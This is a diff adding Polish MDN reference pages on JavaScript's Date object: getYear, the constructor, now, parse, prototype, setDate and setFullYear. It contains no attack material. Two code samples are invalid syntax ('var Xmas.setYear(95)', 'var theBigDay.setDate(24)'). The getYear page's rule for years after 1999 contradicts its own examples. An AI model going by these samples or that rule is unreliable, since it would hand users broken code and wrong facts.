+ <li>Dla roczników pomiędzy i włącznie z latami 1900 i 1999, wartość zwracana przez <code>getYear</code> jest to rok minus 1900. Na przykład, dla roku 1976 będzie to liczba 76.</li>
+</ul>
+
+<ul>
+ <li>Dla roczników niższych niż 1900 lub wyższych niż 1999, wartość zwracana przez <code>getYear</code> jest cztero-cyfrowa. Na przykład, dla roku 1856, wartość jest równa 1856. Dla roku 2026, wartość wynosi 2026.</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Lata_pomi.C4.99dzy_1900_i_1999" name="Przyk.C5.82ad:_Lata_pomi.C4.99dzy_1900_i_1999">Przykład: Lata pomiędzy 1900 i 1999</h3>
+
+<p>Druga instrukcja przypisuje wartość 95 do zmiennej <code>year</code>.</p>
+
+<pre class="brush: js">var Xmas = new Date("December 25, 1995 23:15:00");
+var year = Xmas.getYear(); // zwraca 95
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Lata_powy.C5.BCej_1999" name="Przyk.C5.82ad:_Lata_powy.C5.BCej_1999">Przykład: Lata powyżej 1999</h3>
+
+<p>Druga instrukcja przypisuje wartość 100 do zmiennej <code>year</code>.</p>
+
+<pre class="brush: js">var Xmas = new Date("December 25, 2000 23:15:00");
+var year = Xmas.getYear(); // zwraca 100
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Lata_powy.C5.BCej_1900" name="Przyk.C5.82ad:_Lata_powy.C5.BCej_1900">Przykład: Lata poniżej 1900</h3>
+
+<p>Druga instrukcja przypisuje wartość -100 do zmiennej <code>year</code>.</p>
+
+<pre class="brush: js">var Xmas = new Date("December 25, 1800 23:15:00");
+var year = Xmas.getYear(); // zwraca -100
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Ustawienie_i_pobieranie_lat_pomi.C4.99dzy_1900_i_1999" name="Przyk.C5.82ad:_Ustawienie_i_pobieranie_lat_pomi.C4.99dzy_1900_i_1999">Przykład: Ustawianie i pobieranie roku pomiędzy 1900 i 1999</h3>
+
+<p>Druga instrukcja przypisuje wartość 95 do zmiennej <code>year</code>, reprezentując rok 1995.</p>
+
+<pre class="brush: js">var Xmas.setYear(95);
+var year = Xmas.getYear(); // zwraca 95
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setYear()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/index.html b/files/pl/web/javascript/referencje/obiekty/date/index.html
new file mode 100644
index 0000000000..3636152933
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/index.html
@@ -0,0 +1,138 @@
+---
+title: Date
+slug: Web/JavaScript/Referencje/Obiekty/Date
+tags:
+ - Date
+ - JavaScript
+ - data
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Tworzy instancje <code>Date</code>, które pozwalają na pracę z danymi opisującymi datę i czas.</p>
+
+<h2 id="Tworzony_przez" name="Tworzony_przez">Składnia</h2>
+
+<pre class="syntaxbox"><code>new Date();
+new Date(<em>milisekundy</em>);
+new Date(<em>dateString</em>);
+new Date(<em>rok</em>, <em>indeksMiesiąca </em>[, <em>dzień </em>[, <em>godzina </em>[, <em>minuta </em>[, <em>sekunda </em>[, <em>milisekunda</em>]]]]]);
+</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>milisekundy</code> </dt>
+ <dd>Wartość całkowita reprezentująca liczbę milisekund od 1 stycznia 1970, godz. 00:00:00 UTC.</dd>
+</dl>
+
+<dl>
+ <dt><code>dateString</code> </dt>
+ <dd>Łańcuch znaków reprezentujący datę. Łańcuch znaków powinien być w formacie rozpoznawalnym przez metodę <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/parse" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Date/parse">parse</a>.</dd>
+</dl>
+
+<dl>
+ <dt><code>rok</code></dt>
+ <dd>Wartość całkowita reprezentująca rok. Dla zgodności (w celu uniknięcia problemu roku 2000) należy zawsze określać rok w pełnej formie, używając raczej <code>1998</code> niż <code>98</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>indeksMiesiąca</code></dt>
+ <dd>Wartość całkowita reprezentująca miesiąc, począwszy od 0 dla stycznia, kończąc na 11 dla grudnia.</dd>
+</dl>
+
+<dl>
+ <dt><code>dzień</code></dt>
+ <dd>Wartość całkowita reprezentująca dzień miesiąca.</dd>
+</dl>
+
+<dl>
+ <dt><code>godzina</code></dt>
+ <dd>Wartość całkowita reprezentująca godzinę (w formacie 24-godzinnym).</dd>
+</dl>
+
+<dl>
+ <dt><code>minuta</code></dt>
+ <dd>Wartość całkowita reprezentująca część minutową odczytywanego czasu.</dd>
+</dl>
+
+<dl>
+ <dt><code>second</code></dt>
+ <dd>Wartość całkowita reprezentująca część sekundową odczytywanego czasu.</dd>
+</dl>
+
+<dl>
+ <dt><code>millisecond</code></dt>
+ <dd>Wartość całkowita reprezentująca część milisekundową odczytywanego czasu.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie dostarczasz żadnych argumentów, konstruktor tworzy obiekt <code>Date</code> dla dzisiejszej daty i czasu stosownie do czasu lokalnego. Jeśli dostarczasz jakieś argumenty, lecz nie wszystkie, brakujące argumenty mają ustawioną wartość 0. Jeśli jednak dostarczasz jakieś argumenty, musisz dostarczyć co najmniej rok, miesiąc i dzień. Pominąć możesz godzinę, minuty, sekundy i milisekundy.</p>
+
+<p>Data jest mierzona w milisekundach od północy 1 stycznia 1970 UTC. W jednym dniu jest 86,400,000 milisekund. Zakres wartości obiektu <code>Date</code> wynosi od -100,000,000 dni do 100,000,000 dni w stosunku do 01 stycznia 1970 UTC.</p>
+
+<p>Obiekt <code>Date</code> zapewnia jednolite działanie bez względu na platformę.</p>
+
+<p>Obiekt <code>Date</code> wspiera wiele metod UTC (uniwersalny czas światowy) i metody czasu lokalnego. UTC, także znany jako <em>Greenwich Mean Time</em> (GMT), odnosi się do czasu ustanowionego przez "światowy standard czasu" (ang. World Time Standard). Czas lokalny jest czasem, który zna komputer, na jakim jest wykonywany JavaScript.</p>
+
+<p>Dla kompatybilności z obliczeniami milenijnymi (inaczej, syndromem roku 2000), powinieneś zawsze określić pełen rok, czyli na przykład, używa 1998, nie 98. Aby pomóc Ci w określeniu całego roku, JavaScript zawiera metody {{jsxref("Date.prototype.getFullYear()")}}, {{jsxref("Date.prototype.setFullYear()")}}, {{jsxref("Date.getUTCFullYear()")}} i {{jsxref("Date.setUTCFullYear()")}}.</p>
+
+<p>Odwoływanie się do <code>Date </code>w kontekście innym niż konstruktor (np. bez operatora {{jsxref("new")}}) będzie zwracało ciąg reprezentujący aktualny czas.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt>{{jsxref("Date.prototype")}}</dt>
+ <dd>Pozwala dodać własności do obiektu <code>Date</code>.</dd>
+ <dt><code>Date.length</code></dt>
+ <dd>The value of <code>Date.length</code> is 7. This is the number of arguments handled by the constructor.</dd>
+ <dt>
+ <div>{{jsOverrides("Function", "properties", "prototype")}}</div>
+ </dt>
+</dl>
+
+<h2 id="Metody_statyczne" name="Metody_statyczne">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Date.now()")}}</dt>
+ <dd>Zwraca wartość liczbową odnoszącą się do aktualnego czasu.</dd>
+ <dt>{{jsxref("Date.parse()")}}</dt>
+ <dd>Zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 czasu lokalnego do daty podanej jako argument string.</dd>
+ <dt>{{jsxref("Date.UTC()")}}</dt>
+ <dd>Zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 czasu uniwersalnego do daty podanej jako zestaw liczb (parametry jak w najdłuższej formie konstruktora).</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Kilka_sposob.C3.B3w_na_przypisywanie_dat" name="Przyk.C5.82ad:_Kilka_sposob.C3.B3w_na_przypisywanie_dat">Przykład: Kilka sposobów na przypisywanie dat</h3>
+
+<p>Poniżej przedstawiono kilka przykładowych przypisań dat:</p>
+
+<pre class="brush: js">var dzisiaj = new Date();
+var urodziny = new Date("December 17, 1995 03:24:00");
+var urodziny = new Date(1995,11,17);
+var urodziny = new Date(1995,11,17,3,24,0);
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Obliczanie_czasu_trwania" name="Przyk.C5.82ad:_Obliczanie_czasu_trwania">Przykład: Obliczanie czasu trwania</h3>
+
+<p>Poniższy przykład pokazuje, jak określić czas, jaki minął pomiędzy dwoma datami:</p>
+
+<pre class="brush: js">// używając metod statycznych
+var start = Date.now();
+// zdarzenie, dla którego chciałbyś zmierzyć czas trwania:
+zrobCosPrzezDlugiCzas();
+var stop = Date.now();
+var roznica_czasow = stop - start; // czas w milisekundach
+</pre>
+
+<pre class="brush: js">// wykorzystując obiekty Date
+var start = new Date();
+// zdarzenie, dla którego chciałbyś zmierzyć czas trwania:
+zrobCosPrzezDlugiCzas();
+var stop = new Date();
+var roznica_czasow = stop.getTime() - start.getTime(); // czas w milisekundach
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/now/index.html b/files/pl/web/javascript/referencje/obiekty/date/now/index.html
new file mode 100644
index 0000000000..c0a4e1a690
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/now/index.html
@@ -0,0 +1,43 @@
+---
+title: Date.now()
+slug: Web/JavaScript/Referencje/Obiekty/Date/now
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/now
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca liczbę milisekund, która upłynęła od 1 stycznia 1970 00:00:00 UTC.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>var timeInMs = Date.now();</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda now zwraca milisekundy, które upłynęły od 1 stycznia 1970 00:00:00 UTC do teraz w postaci obiektu {{jsxref("Number")}}.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_now" name="Przyk.C5.82ad:_Zastosowanie_now">Przykład: Zastosowanie <code>now</code></h3>
+
+<p>Poniższy przykład używa <code>now</code> do stworzenia znacznika czasu.</p>
+
+<pre class="brush: js">var timestamp = Date.now();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{domxref("Performance.now()")}}</li>
+ <li>{{domxref("Console.time()")}} / {{domxref("Console.timeEnd()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/parse/index.html b/files/pl/web/javascript/referencje/obiekty/date/parse/index.html
new file mode 100644
index 0000000000..d500500484
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/parse/index.html
@@ -0,0 +1,74 @@
+---
+title: Date.parse()
+slug: Web/JavaScript/Referencje/Obiekty/Date/parse
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse
+---
+<div> {{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Analizuje łańcuch znaków reprezentujący datę i zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 UTC.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Date.parse(<var>dateString</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>dateString</code> </dt>
+ <dd>Łańcuch znaków reprezentujący datę.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>parse</code> pobiera łańcuch znaków daty (na przykład: "<code>Dec 25, 1995</code>") i zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 UTC. Gdy parametr nie zawiera informacji na temat strefy czasowej, domyślnie używana jest lokalna strefa czasowa. Ta funkcja jest przydatna do ustawiania wartości daty w oparciu o wartość łańcucha znaków, przykładowo w połączeniu z metodą {{jsxref("Date.prototype.setTime()", "setTime()")}} oraz obiektem {{jsxref("Date")}}.</p>
+
+<p>Dla podanego łańcucha znaków reprezentującego czas, <code>parse</code> zwraca wartość czasu. Akceptuje składnię standardu daty - IETF: "<code>Mon, 25 Dec 1995 13:30:00 GMT</code>". Rozpoznaje skróty kontynentalnej strefy czasowej US, lecz w ogólnym zastosowaniu używa się przesunięć dla strefy czasowej, na przykład: "<code>Mon, 25 Dec 1995 13:30:00 GMT+0430</code>" (4 godziny i 30 minut na zachód od południka Greenwich). Jeśli nie określono strefy czasowej, domyślna jest strefa lokalna. GMT i UTC są rozpatrywane jako równoważne.</p>
+
+<p>Mimo iż specyfikatory strefy czasowej są brane pod uwagę podczas analizy łańcucha znaków do prawidłowej interpretacji argumentu, nie wpływają one jednak na zwracaną wartość, którą zawsze jest ilość milisekund pomiędzy 1 stycznia 1970 roku, 00:00:00 UTC a punktem w czasie reprezentowanym przez argument.</p>
+
+<p>Ponieważ <code>parse</code> jest metodą statyczną obiektu <code>Date</code>, używamy jej jako <code>Date.parse()</code>, raczej niż jako wywołanie metody utworzonego przez nas obiektu <code>Date</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_parse" name="Przyk.C5.82ad:_Zastosowanie_parse">Przykład: Zastosowanie <code>parse</code></h3>
+
+<p>Jeśli <code>IPOdate</code> jest istniejącym obiektem <code>Date</code>, możemy przypisać mu wartość 9 sierpnia 1995 (czasu lokalnego) w następujący sposób:</p>
+
+<pre class="brush: js">IPOdate.setTime(Date.parse("Aug 9, 1995")) ;
+</pre>
+
+<p>Kilka innych przykładów:</p>
+
+<pre class="brush: js">// Zwraca 807937200000 w strefie czasowej GMT-0300, i inne wartości dla innych stref
+// czasowych, ponieważ argument nie specyfikuje strefy czasowej.
+Date.parse("Aug 9, 1995");</pre>
+
+<pre class="brush: js">// Zwraca 807926400000 niezależnie od lokalnej strefy czasowej.
+Date.parse("Wed, 09 Aug 1995 00:00:00 GMT");</pre>
+
+<pre class="brush: js">// Zwraca 807937200000 w strefie czasowej GMT-0300, a inne wartości w innych
+// strefach czasowych, ponieważ strefa nie jest wyspecyfikowana w argumencie.
+Date.parse("Wed, 09 Aug 1995 00:00:00");</pre>
+
+<pre class="brush: js">// Zwraca 0 niezależnie od lokalnej strefy czasowej.
+Date.parse("Thu, 01 Jan 1970 00:00:00 GMT");</pre>
+
+<pre class="brush: js">// Zwraca 14400000 w strefie czasowej GMT-0400, a inne wartości w innych
+// strefach czasowych, ponieważ strefa nie jest podana w argumencie.
+Date.parse("Thu, 01 Jan 1970 00:00:00");</pre>
+
+<pre class="brush: js">// Zwraca 14400000 niezależnie od lokalnej strefy czasowej.
+Date.parse("Thu, 01 Jan 1970 00:00:00 GMT-0400");</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.UTC()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/date/prototype/index.html
new file mode 100644
index 0000000000..20f539e68b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/prototype/index.html
@@ -0,0 +1,115 @@
+---
+title: Date.prototype
+slug: Web/JavaScript/Referencje/Obiekty/Date/prototype
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Reprezentuje prototyp dla tej klasy. Można używać prototypu do dodawania własności lub metod wszystkim instancjom klasy. Aby uzyskać więcej informacji o prototypach, zobacz {{jsxref("Function.prototype")}}.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt><code>Date.prototype.constructor</code></dt>
+ <dd>Określa funkcję, która tworzy prototyp obiektu.</dd>
+</dl>
+
+<div>{{jsOverrides("Object", "properties", "constructor")}}</div>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.getDate()")}}</dt>
+ <dd>Zwraca dzień miesiąca dla określonej daty, stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getDay()")}}</dt>
+ <dd>Zwraca dzień tygodnia dla określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getFullYear()")}}</dt>
+ <dd>Zwraca rok określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getHours()")}}</dt>
+ <dd>Zwraca godzinę określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getMilliseconds()")}}</dt>
+ <dd>Zwraca milisekundy określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getMinutes()")}}</dt>
+ <dd>Zwraca minuty w określonej dacie czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getMonth()")}}</dt>
+ <dd>Zwraca miesiąc w określonej dacie czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getSeconds()")}}</dt>
+ <dd>Zwraca sekundy określone w dacie stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getTime()")}}</dt>
+ <dd>Zwraca wartość numeryczną przesyłając czas określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getTimezoneOffset()")}}</dt>
+ <dd>Zwraca czas przesunięcia wg strefy czasowej dla aktualnego czasu lokalnego. .</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDate()")}}</dt>
+ <dd>Zwraca dzień (date) miesiąca określonej daty stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDay()")}}</dt>
+ <dd>Zwraca dzień tygodnia określone w dacie stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCFullYear()")}}</dt>
+ <dd>Zwraca rok określony w dacie stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCHours()")}}</dt>
+ <dd>Zwraca godziny określone w dacie stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</dt>
+ <dd>Zwraca milisekundy określone w dacie stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMinutes()")}}</dt>
+ <dd>Zwraca minuty określone w dacie stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMonth()")}}</dt>
+ <dd>Zwraca nazwę miesięcy określone w dacie stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCSeconds()")}}</dt>
+ <dd>Zwraca sekundy określonej daty stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.getYear()")}} {{deprecated_inline}}</dt>
+ <dd>Zwraca rok określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setDate()")}}</dt>
+ <dd>Ustawia dzień miesiąca dla określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setFullYear()")}}</dt>
+ <dd>Ustawia pełny rok dla określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setHours()")}}</dt>
+ <dd>Ustawia godziny dla określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setMilliseconds()")}}</dt>
+ <dd>Ustawia milisekundy dla określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setMinutes()")}}</dt>
+ <dd>Ustawia minuty dla określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setMonth()")}}</dt>
+ <dd>Ustawia nazwę miesiąca dla określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setSeconds()")}}</dt>
+ <dd>Ustawia sekundy dla określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setTime()")}}</dt>
+ <dd>Ustawia wartość obiektu <code>Date</code> stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCDate()")}}</dt>
+ <dd>Ustawia dzień miesiąca dla określonej daty stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCFullYear()")}}</dt>
+ <dd>Ustawia pełen rok dla określonej daty stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCHours()")}}</dt>
+ <dd>Ustawia godzinę dla określonej daty stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</dt>
+ <dd>Ustawia milisekundy dla określonej daty stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMinutes()")}}</dt>
+ <dd>Ustawia minuty dla określonej daty stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMonth()")}}</dt>
+ <dd>Ustawia miesiąc dla określonej daty stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCSeconds()")}}</dt>
+ <dd>Ustawia sekundy dla określonej daty stosownie do czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}</dt>
+ <dd>Ustawia rok dla określonej daty stosownie do czasu lokalnego.</dd>
+ <dt>{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}</dt>
+ <dd>Konwertuje datę na łańcuch znaków, używając konwencji czasu GMT.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleString()")}}</dt>
+ <dd>Konwertuje datę na łańcuch znaków (string), używając aktualnej lokalnej konwencji. Przesłania metodę {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleDateString()")}}</dt>
+ <dd>Zwraca datę (bez godziny) z obiektu <code>Date</code> jako ciąg znaków z wykorzystaniem lokalnych konwencji.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleTimeString()")}}</dt>
+ <dd>Zwraca godzinę (bez daty) z obiektu <code>Date</code> jako ciąg znaków z wykorzystaniem lokalnych konwencji.</dd>
+ <dt>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Zwraca obiekt literału reprezentujący określony obiekt <code>Date</code>; możesz użyć tej wartości do tworzenia nowych obiektów. Przesłania metodę {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toString()")}}</dt>
+ <dd>Zwraca łańcuch znaków, reprezentujący określony obiekt <code>Date</code>. Przesłania metodę {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toUTCString()")}}</dt>
+ <dd>Konwertuje datę na łańcuch znaków, używając do konwencji czasu uniwersalnego.</dd>
+ <dt>{{jsxref("Date.prototype.valueOf()")}}</dt>
+ <dd>Zwraca wartość prostą obiektu <code>Date</code>. Przesłania metodę {{jsxref("Object.prototype.valueOf()")}}.<span id="cke_bm_120E" style="display: none;"> </span></dd>
+</dl>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/setdate/index.html
new file mode 100644
index 0000000000..9e0e3db5b9
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setdate/index.html
@@ -0,0 +1,43 @@
+---
+title: Date.prototype.setDate()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setDate
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia dzień miesiąca dla określonej daty stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setDate(<var>dayValue</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>dayValue</code> </dt>
+ <dd>Liczba całkowita z przedziału od 1 do 31, reprezentująca dzień miesiąca.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setDate" name="Przyk.C5.82ad:_Zastosowanie_setDate">Przykład: Zastosowanie <code>setDate()</code></h3>
+
+<p>Druga instrukcja poniżej zmienia dzień miesiąca dla zmiennej <code>theBigDay</code> z jego oryginalnej wartości na 24 lipca.</p>
+
+<pre class="brush: js">var theBigDay = new Date("July 27, 1962 23:30:00");
+var theBigDay.setDate(24);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html
new file mode 100644
index 0000000000..6b9fe390a1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html
@@ -0,0 +1,58 @@
+---
+title: Date.prototype.setFullYear()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setFullYear
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia kompletny rok dla określonej daty stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>yearValue</code> </dt>
+ <dd>Liczba całkowita określająca wartość numeryczną roku, na przykład; 1995.</dd>
+</dl>
+
+<dl>
+ <dt><code>monthValue</code> </dt>
+ <dd>Liczba całkowita z przedziału od 0 do 11 (reprezentująca miesiące od stycznia do grudnia).</dd>
+</dl>
+
+<dl>
+ <dt><code>dayValue</code> </dt>
+ <dd>Liczba całkowita z przedziału od 1 do 31 reprezentująca dzień miesiąca. Jeśli zostaje podany parametr <code>dayValue</code>, należzy również podać <code>monthValue</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie zostały podane parametry <code>monthValue</code> i <code>dayValue</code>, biblioteka pobierze te dane z metod {{jsxref("Date.prototype.getMonth()", "getMonth()")}} i {{jsxref("Date.prototype.getDate()", "getDate()")}}.</p>
+
+<p>Jeżeli określony parametr jest poza oczekiwanym zakresem, <code>setFullYear()</code> spróbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Przykładowo, jeśli zostanie podana wartość 15 dla <code>monthValue</code> to rok zostanie zwiększony o 1 (rok+1), a miesiąc zostanie ustawiony na wartość 3.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setFullYear" name="Przyk.C5.82ad:_Zastosowanie_setFullYear">Przykład: Zastosowanie <code>setFullYear()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setFullYear(1997);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setYear()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/sethours/index.html b/files/pl/web/javascript/referencje/obiekty/date/sethours/index.html
new file mode 100644
index 0000000000..8e3f95ff7d
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/sethours/index.html
@@ -0,0 +1,66 @@
+---
